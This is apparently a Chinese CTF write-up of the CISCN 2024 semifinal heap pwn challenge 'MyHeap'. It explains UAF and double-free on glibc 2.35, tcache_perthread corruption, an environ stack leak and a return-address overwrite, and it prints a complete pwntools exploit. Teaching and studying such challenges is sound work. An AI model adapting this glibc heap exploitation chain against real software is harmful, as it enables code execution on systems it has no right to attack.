2024全国大学生信息安全竞赛(ciscn)半决赛(华南赛区)Pwn题解

前言

找华南赛区的师傅要了一份半决赛的Pwn题,听说只有一道题。

题目很简单,可以申请任意大小chunk,并存在UAF、DoubleFree漏洞。

还给了后门函数,不过限制是edit只能写8字节的数据到chunk中。

MyHeap

逆向分析

拖入IDA分析:

image-20240614135105855.png

题目给了2.35版本的libc和ld,经典菜单题。逐个功能分析。

add函数:

image-20240614135142420

可以申请任意大小的chunk,只能同时有一个chunk指针存储在bss段。并且可以申请0x4F0大小chunk,但是没有返回指针。

delete函数:

image-20240614135246299

没有清空指针,存在UAF漏洞。

show函数:

image-20240614135313806

打印chunk中7个字节数据,进行了异或加密,解密即可。可以用来泄露libc地址和heap地址。

edit函数:

image-20240614135443563

可以修改8个字节的数据即fd指针位置。

最后给了一个后门函数:

image-20240614140028218

image-20240614140101457

可以泄露backdoor的地址,并且能够写一次16字节到chunk上,即同时覆盖fd和bk指针。

利用思路

题目保护全开,思路很清晰:

  • 存在UAF漏洞,可以泄露libc和heap基地址。
  • 可以输出backdoor函数地址,即泄露了程序基地址。(也就可以计算出bss_ptr的地址)
  • 能够覆盖一次bk指针,可以清除tcache key进行double free,实现tcache attack。

既然实现了tcache attack,就可以任意地址(0x10对齐的地址)写8字节了。

由于只能写8字节数据,并且只能在0x10对齐的地址上写,需要考虑将backdoor函数写到哪里。

2.34开始,exit删除了dl_rtld_lock_recursiveh和dl_rtld_unlock_recursive,也就是我们常说的exit_hook。

当然,更没有malloc_hook、free_hook等函数了。这里提供3个攻击思路:

  • 通过tls_dtor_list劫持exit,需要先泄露pointer_guard。
  • 更简单的方法,直接修改vtable中的 overflow 或者 xsputn 等函数。(这个题的libc中vtable不可写)
  • 泄露environ变量栈地址,然后修改返回地址为backdoor。

这里介绍第三种方法,将backdoor写回栈上的返回地址。

利用过程

编写异或解密函数:

def decrypt():
    p.recvuntil(b"the data:")
    enc = bytearray(p.recv(7))
    for i in range(7):
        enc[i] ^= (i + 153)
    return bytes(enc)

先泄露libc和heap地址:

# leak heap
add_chunk(0x88)
delete_chunk()
show_chunk()
heap_base = u64(decrypt().ljust(8, b'\x00')) << 12
success("heap_base = " + hex(heap_base))

# leak libc
add_chunk(0x418)

## avoid merge to top_chunk
p.sendlineafter(b"edit\n", b"1")
p.sendlineafter(b"choose?\n", b"2")

delete_chunk()
show_chunk()
libc_base = u64(decrypt().ljust(8, b'\x00')) - 0x242ce0 + 0x50000
libc.address = libc_base
environ = libc.sym['environ']
success("libc_base = " + hex(libc_base))
success("environ = " + hex(environ))

然后开始利用。

然而,使用后门函数清除key后进行double free,然后tcache poisoning,只能完成一次任意地址写。

因此,我们需要利用这一次tcache poisoning控制tcache_perthread,控制tcache的个数,实现tcache_perthread。

这样一来,由于我们可以写8个字节数据。可以控制4个tcache的个数,分别是0x20到0x50。

add_chunk(0x88)
delete_chunk()
p.sendlineafter(b"edit\n", b"5")
p.recvuntil(b"address: ")
backdoor = int(p.recv(14), 16)
elf_base = backdoor - 0x12be
success("elf_base = " + hex(elf_base))
success("backdoor = " + hex(backdoor))
p.sendafter(b'data:', p64(0) + p64(0))	# clear tcache_key
delete_chunk()
target = heap_base + 0x10
edit_chunk(p64(heap_base >> 12 ^ target))
add_chunk(0x88)
add_chunk(0x88)
delete_chunk()
edit_chunk(p64(0))

我们已经成功控制的tcache_perthread的前8字节,然后往0x20和0x30大小的tcache中分别放入一个chunk用于后续tcache poisoning。

刚才释放的tcache_perthread放入了0x290的tcache中,再次申请回来并修改对应tcache大小为2。

add_chunk(0x18)
delete_chunk()

add_chunk(0x28)
delete_chunk()

add_chunk(0x288)
delete_chunk()
edit_chunk(p16(2) + p16(2) + p16(0) + p16(0))

利用0x20大小的tcache泄露environ变量:

# leak stack
add_chunk(0x18)
delete_chunk()
edit_chunk(p64((heap_base >> 12) ^ environ))
add_chunk(0x18)
add_chunk(0x18)
show_chunk()

stack_addr = u64(decrypt().ljust(8, b'\x00'))
success("stack_addr = " + hex(stack_addr))

利用0x30大小的tcache控制bss段的chunk指针指向自己:

# bss_ptr->&bss_ptr
add_chunk(0x28)
delete_chunk()
target = elf_base + 0x4040
edit_chunk(p64((heap_base >> 12) ^ target))
add_chunk(0x28)
add_chunk(0x28)

然后,两次edit将backdoor写到返回地址:

# ret_addr->backdoor
target = stack_addr - 0x140
edit_chunk(p64(target))

# gdb.attach(p, 'b *$rebase(0x1494)\nc')
# pause()

edit_chunk(p64(backdoor))

这里说一下为什么最后一次tcache poisoning需要控制bss段上的chunk指针而不是直接控制返回地址。

glibc2.32开始引入对申请和释放tcache时地址检查,地址必须0x10对齐,因此通过bss段上的chunk指针可以绕过这个保护。

这里还存在一个问题,直接返回backdoor的话会崩,gdb调试发现:

image-20240614172202962

刚学pwn的时候ROP到system(“/bin/sh”)会崩,很多师傅告诉我是堆栈平衡的原因,这次仔细分析了一下。

是因为movaps这条汇编指令是SSE指令,考虑到效率问题,操作数必须0x10字节对齐。

因此,在执行system函数前,我们只需要将栈里多或少放0x8字节数据即可。

这里处理的话是让backdoor + 8,少执行一次push rbp。完整exp如下所示:

from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc-2.35.so")
ld = ELF('./ld-2.35.so')

p = process([elf.path])
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'


def add_chunk(size):
    p.sendlineafter(b"edit\n", b"1")
    p.sendlineafter(b"choose?\n", b"1")
    p.sendlineafter(b"size:", str(size).encode())


def delete_chunk():
    p.sendlineafter(b"edit\n", b"2")


def show_chunk():
    p.sendlineafter(b"edit\n", b"3")


def edit_chunk(content):
    p.sendlineafter(b"edit\n", b"4")
    p.sendafter(b"data:", content)


def decrypt():
    p.recvuntil(b"the data:")
    enc = bytearray(p.recv(7))
    for i in range(7):
        enc[i] ^= (i + 153)
    return bytes(enc)


# leak heap
add_chunk(0x88)
delete_chunk()
show_chunk()
heap_base = u64(decrypt().ljust(8, b'\x00')) << 12
success("heap_base = " + hex(heap_base))

# leak libc
add_chunk(0x418)
p.sendlineafter(b"edit\n", b"1")
p.sendlineafter(b"choose?\n", b"2")
delete_chunk()
show_chunk()

libc_base = u64(decrypt().ljust(8, b'\x00')) - 0x242ce0 + 0x50000
libc.address = libc_base
environ = libc.sym['environ']
success("libc_base = " + hex(libc_base))
success("environ = " + hex(environ))

# tcache_perthread corruption
add_chunk(0x88)
delete_chunk()
p.sendlineafter(b"edit\n", b"5")
p.recvuntil(b"address: ")
backdoor = int(p.recv(14), 16)
elf_base = backdoor - 0x12be
success("elf_base = " + hex(elf_base))
success("backdoor = " + hex(backdoor))
p.sendafter(b'data:', p64(0) + p64(0))
delete_chunk()
target = heap_base + 0x10
edit_chunk(p64(heap_base >> 12 ^ target))
add_chunk(0x88)
add_chunk(0x88)
delete_chunk()
edit_chunk(p64(0))

add_chunk(0x18)
delete_chunk()

add_chunk(0x28)
delete_chunk()

add_chunk(0x288)
delete_chunk()
edit_chunk(p16(2) + p16(2) + p16(0) + p16(0))

# leak stack
add_chunk(0x18)
delete_chunk()
edit_chunk(p64((heap_base >> 12) ^ environ))
add_chunk(0x18)
add_chunk(0x18)
show_chunk()

stack_addr = u64(decrypt().ljust(8, b'\x00'))
success("stack_addr = " + hex(stack_addr))

# ret_addr -> backdoor
add_chunk(0x28)
delete_chunk()
target = elf_base + 0x4040
edit_chunk(p64((heap_base >> 12) ^ target))
add_chunk(0x28)
add_chunk(0x28)

target = stack_addr - 0x140
edit_chunk(p64(target))

# gdb.attach(p, 'b *$rebase(0x1494)\nc')
# pause()

edit_chunk(p64(backdoor + 8))

p.interactive()

附件

关注vx公众号【Real返璞归真】回复【ciscn】获取题目附件。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/710387.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ETL可视化工具 DataX -- 简介( 一)

引言 DataX 系列文章&#xff1a; ETL可视化工具 DataX – 安装部署 ( 二) 1.1 DataX 1.1.1 Data X概览 DataX 是阿里云DataWorks数据集成的开源版本&#xff0c;在阿里巴巴集团内被广泛使用的离线数据同步工具/平台。DataX 实现了包括 MySQL、Oracle、OceanBase、SqlServ…

【GD32F303红枫派使用手册】第十六节 USART-DMA串口收发实验

16.1 实验内容 通过本实验主要学习以下内容&#xff1a; 串口DMA工作原理 使用DMA进行串口收发 16.2 实验原理 16.2.1 串口DMA工作原理 在前面ADC章节中&#xff0c;我们介绍了DMA的工作原理&#xff0c;这里就不多做介绍。从GD32F303用户手册中可以查到&#xff0c;各串…

四轴飞行器、无人机(STM32、NRF24L01)

一、简介 此电路由STM32为主控芯片&#xff0c;NRF24L01、MPU6050为辅,当接受到信号时&#xff0c;处理对应的指令。 二、实物图 三、部分代码 void FlightPidControl(float dt) { volatile static uint8_t statusWAITING_1; switch(status) { case WAITING_1: //等待解锁 if…

LED显示屏色差处理方法

LED显示屏以其高亮度、低功耗和长寿命等优点&#xff0c;在广告、信息发布和舞台背景等领域得到广泛应用。然而&#xff0c;由于生产批次的不同&#xff0c;LED显示屏在亮度和色度上可能存在差异&#xff0c;影响显示效果。本文将探讨如何通过逐点校正技术来解决这一问题。 逐点…

【C++】和【预训练模型】实现【机器学习】【图像分类】的终极指南

目录 &#x1f497;1. 准备工作和环境配置&#x1f495; &#x1f496;安装OpenCV&#x1f495; &#x1f496;安装Dlib&#x1f495; 下载并编译TensorFlow C API&#x1f495; &#x1f497;2. 下载和配置预训练模型&#x1f495; &#x1f496;2.1 下载预训练的ResNet…

python-基础篇-函数-是什么

文章目录 定义一&#xff1a;如果在开发程序时&#xff0c;需要某块代码多次执行。为了提高编写的效率以及更好的维护代码&#xff0c;需要把具有独立功能的代码块组织为一个小模块&#xff0c;这就是函数。定义一&#xff1a;我们把一些数据喂给函数&#xff0c;让他内部消化&…

七、IP路由原理和路由引入

目录 一、IP路由原理 二、路由引入 2.1、双点双向路由引入 2.2、路由回灌 三、路由策略与路由控制 路由匹配工具&#xff08;规则&#xff09; ACL IP前缀列表 路由控制工具&#xff08;控制&#xff09; 策略工具1 策略工具2 搭配组合 组…

JAVA-CopyOnWrite并发集合

文章目录 JAVA并发集合1_实现原理2_什么是CopyOnWrite?3_CopyOnWriteArrayList的原理4_CopyOnWriteArraySet5_使用场景6_总结 JAVA并发集合 从Java5开始&#xff0c;Java在java.util.concurrent包下提供了大量支持高效并发访问的集合类&#xff0c;它们既能包装良好的访问性能…

【字符函数】

接下来介绍部分字符函数测试 2. 字符转换函数 1.字符分类函数 1.1iscntrl 注&#xff1a;任何控制字符 检查是否有控制字符 符合为真 int main() {int i 0;char str[] "first line \n second line \n";//判断是否遇到控制字符while (!iscntrl(str[i])){p…

springboot网上书店管理系统-计算机毕业设计源码03780

摘 要 网上书店管理系统采用B/S结构、java开发语言、以及Mysql数据库等技术。系统主要分为管理员和用户两部分&#xff0c;管理员管理主要功能包括&#xff1a;首页、站点管理&#xff08;轮播图&#xff09;用户管理&#xff08;管理员、注册用户&#xff09;内容管理&#x…

51单片机STC89C52RC——代码编译

1&#xff0c;勾选 “Create HEX file” 2&#xff0c;编译

【智源大会2024】(一)智源技术专题

智源的全家桶&#xff1a; 微调数据相关&#xff1a; 1.千万级数据集: BAAI创建了首个千万级别的高质量开源指令微调数据集。 2.模型性能与数据质量: 强调了模型性能与数据质量之间的高度相关性。 3.技术亮点: 使用了高质量的指令数据筛选与合成技术。这些技术显著提升了模型…

效率翻倍!ComfyUI 必装的工作流+模型管理插件 Workspace Manager

一、Workspace Manager 安装方式 插件 Github 网址&#xff1a; https://github.com/11cafe/comfyui-workspace-manager 如果你没有安装 Workspace Manager 插件&#xff0c;可以通过以下 2 种方式安装&#xff1a; ① 通过 ComfyUI Manager 安装&#xff08;推荐&#xff0…

AI办公自动化:kimi批量搜索提取PDF文档中特定文本内容

工作任务&#xff1a;PDF文档中有资料来源这一行&#xff0c;比如&#xff1a; 资料来源&#xff1a;moomoo tech、The Information、Bloomberg、Reuters&#xff0c;浙商证券研究所 数据来源&#xff1a;CSDN、浙商证券研究所 数据来源&#xff1a;CSDN、arXiv、浙商证券研…

OpenGL3.3_C++_Windows(7)

演示 最终演示效果 ​​​​ 冯氏光照 光照原理&#xff1a;对于向量相乘默认为点乘&#xff0c;如果*lightColor(1.0f, 1.0f, 1.0f);白光&#xff0c;值不变物体的颜色显示原理&#xff1a;不被物体吸收的光反射&#xff0c;也就是由白光分解后的一部分&#xff0c;因此&…

力扣 面试题17.04.消失的数字

数组nums包含从0到n的所有整数&#xff0c;但其中缺了一个。请编写代码找出那个缺失的整数。你有办法在O(n)时间内完成吗&#xff1f; 示例 1&#xff1a; 输入&#xff1a;[3,0,1] 输出&#xff1a;2 示例 2&#xff1a; 输入&#xff1a;[9,6,4,2,3,5,7,0,1] 输出&#x…

JavaScript 规范霍夫曼编码

霍夫曼编码是一种无损数据压缩算法&#xff0c;其中数据中的每个字符都分配有可变长度的前缀代码。出现频率最低的字符获得最大代码&#xff0c;出现频率最高的字符获得最小代码。使用这种技术对数据进行编码非常简单且高效。但是&#xff0c;解码使用此技术生成的比特流效率低…

自然语言处理:第三十五章Embedding 测评榜单MTEB

文章链接: [2210.07316] MTEB: Massive Text Embedding Benchmark (arxiv.org) 项目地址: mteb:MTEB: Massive Text Embedding Benchmark - GitCode github地址: FlagEmbedding/C_MTEB at master FlagOpen/FlagEmbedding (github.com) Hugging Face Leadboard: MTEB Leader…

『SD』ControlNet基础讲解

本文简介 在学习和使用『Stable Diffusion』的过程中&#xff0c;『ControlNet』是一个不可忽视的关键组件。『ControlNet』是一个用于增强图像生成过程可控性的强大工具&#xff0c;允许用户通过提供特定的控制图像来精确指导生成结果。本文将讲解 『ControlNet』的基本概念。…

PHP杂货铺家庭在线记账理财管理系统源码

家庭在线记帐理财系统&#xff0c;让你对自己的开支了如指掌&#xff0c;图形化界面操作更简单&#xff0c;非常适合家庭理财、记账&#xff0c;系统界面简洁优美&#xff0c;操作直观简单&#xff0c;非常容易上手。 安装说明&#xff1a; 1、上传到网站根目录 2、用phpMyad…